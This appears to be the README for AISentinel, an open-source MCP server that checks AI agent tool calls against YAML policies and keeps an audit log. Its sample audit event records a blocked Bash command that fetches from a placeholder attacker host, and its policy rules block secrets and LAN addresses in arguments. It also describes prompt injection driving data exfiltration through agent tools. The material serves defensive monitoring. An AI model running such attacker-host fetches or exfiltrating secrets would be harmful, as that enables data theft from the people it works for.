AISentinel

The missing security, control, and observability layer for the agentic era.

Traditional security tools were built for malware. AI agents were given legitimate power through tools and APIs. AISentinel provides the missing security, control, and observability layer.

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1. Project Title + Tagline

AISentinel — an open-source MCP server that protects AI agents at runtime. Built by Kabzhanov / BizDNAi, the team behind the AI Trust Index.

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2. Why AISentinel Exists

AI agents now have shell, browsers, file systems, and API keys. They are legitimate processes — antivirus cannot see them. A single indirect prompt injection in a PDF or email can pivot into mass data exfiltration through ordinary tools like Bash and Email_send.

AISentinel closes that gap: it runs as an MCP server in front of every tool call, evaluates YAML policies, logs every decision, and ships an audit trail compatible with the AI Trust Index.

See docs/SECURITY_AUDIT.md for the full threat model.

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3. Quickstart (3 minutes)

Option A: install the binary

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest
aisentinel --help
aisentinel serve --policy policies/default.yaml

Option B: clone and build

git clone https://github.com/Kabzhanov/AISentinel.git
cd AISentinel
go build -o bin/aisentinel ./cmd/aisentinel
./bin/aisentinel serve --policy policies/default.yaml

Option C: add to Claude Code / Cursor / Cline

{
  "mcpServers": {
    "aisentinel": {
      "command": "aisentinel",
      "args": ["serve", "--policy", "/absolute/path/to/policies/default.yaml"]
    }
  }
}

Then restart your MCP client and ask your agent to call any tool — AISentinel will gate every call and write a JSONL audit trail to ~/.aisentinel/events-YYYY-MM-DD.jsonl.

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4. Key Features

• Pre-tool gate — evaluate every tool call against a YAML policy (allow / block / require_human_approval / log_only).
• Audit log — append-only JSONL with a standardised event schema.
• Validate-policy — lint a YAML policy without loading it.
• Built-in policies — default, strict, audit-only (see policies/).
• MCP-native — works in Claude Code, Claude Desktop, Cursor, Cline, Continue.
• Zero telemetry — runs locally; no phone-home.
• Apache 2.0 — permissive open source with patent grant.

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5. Connectors

• MCP stdio — aisentinel serve (Claude Code, Claude Desktop, Cursor, Cline, Continue).
• Streamable-HTTP — https://mcp.aisentinel.bizdnai.com/mcp (SaaS, OAuth via BizDNAi).
• CLI — aisentinel subcommands (serve, validate-policy, policies, events, version).
• Library — Go package github.com/Kabzhanov/AISentinel/internal/policy for embedding.

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6. Policy Examples

See policies/default.yaml for the full default policy.

version: 1
name: default
rules:
  - id: secret-in-args
    match: { tool_args_regex: "(?i)(api[_-]?key|secret|token|password|passwd)" }
    decision: block
    reason: "Possible secret in arguments"
  - id: lan-deny
    match: { tool_name: "Bash", tool_args_regex: "10\\.|192\\.168\\.|172\\.(1[6-9]|2\\d|3[01])\\." }
    decision: block
    reason: "LAN access blocked by default"

Match modes: tool_name, tool_name_regex, tool_args_regex, tool_args_contains. Multiple matchers AND-combine.

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7. How it Improves AI Trust Index Score

AISentinel generates the observability data required for AI Trust Index assessments:

• Every tool call → auditable event with agent_id, session_id, decision, signals.
• Every policy decision → versioned, fingerprinted (policy_signature field).
• Every block → reason, risk_signals, ready for an ATI submission.

Run aisentinel_get_ati_snapshot to get a JSON blob ready to paste into the AI Trust Index cabinet.

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8. Licensing

AISentinel is available under two licensing options:

1. Apache License 2.0 (Open Source)

   • Free to use, modify, and distribute under the terms of the Apache 2.0 license.
   • Includes explicit patent grant from contributors.

2. Commercial License

   • For companies that want to embed AISentinel in closed-source products without open-source compliance requirements.
   • Contact: kabzhanov@gmail.com

By contributing to this repository, you agree to license your contributions under Apache 2.0.

See LICENSE and COMMERCIAL_LICENSE.md.

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9. Installation

Requirements: Go 1.22+

go install github.com/Kabzhanov/AISentinel/cmd/aisentinel@latest

Verify:

aisentinel version
# AISentinel v1.0.0 — by Kabzhanov / BizDNAi / AI Trust Index

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10. Usage Examples

Run the MCP server

aisentinel serve --policy policies/default.yaml

Validate a custom policy

aisentinel validate-policy my-policy.yaml

Tail recent audit events

aisentinel events --last 20

List built-in policies

aisentinel policies

Try a policy without blocking (shadow mode)

AISENTINEL_DRY_RUN=1 aisentinel serve --policy policies/default.yaml

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11. Event Schema

See docs/event-schema.md. One JSON object per line in the JSONL log:

{
  "event_id": "20260707T221500.000000001-1",
  "timestamp": "2026-07-07T22:15:00Z",
  "event_type": "pre_tool",
  "agent_id": "agent-42",
  "session_id": "sess-abc",
  "tool_name": "Bash",
  "tool_args": { "command": "curl http://attacker.com/x" },
  "decision": "block",
  "policy_matched": ["bash-network"],
  "risk_signals": ["rule_matched:bash-network"]
}

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12. Contributing

See CONTRIBUTING.md. By contributing you agree to license your contribution under Apache 2.0.

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13. Roadmap

• v1.0 (this release) — MCP stdio, 4 tools, 3 built-in policies, JSONL audit log.
• v1.1 — aisentinel scan (MCP-config auditor), mobile connectors.
• v1.2 — streamable-HTTP transport (SaaS mode), OAuth via BizDNAi.
• v2.0 — ATI-feed integration, IDE plugins (VSCode MCP Inspector).

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14. License

Apache License 2.0. See LICENSE.

AISentinel is dual-licensed under Apache 2.0 and a commercial license. For commercial terms, contact kabzhanov@gmail.com.

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By Kabzhanov / BizDNAi — creators of the AI Trust Index.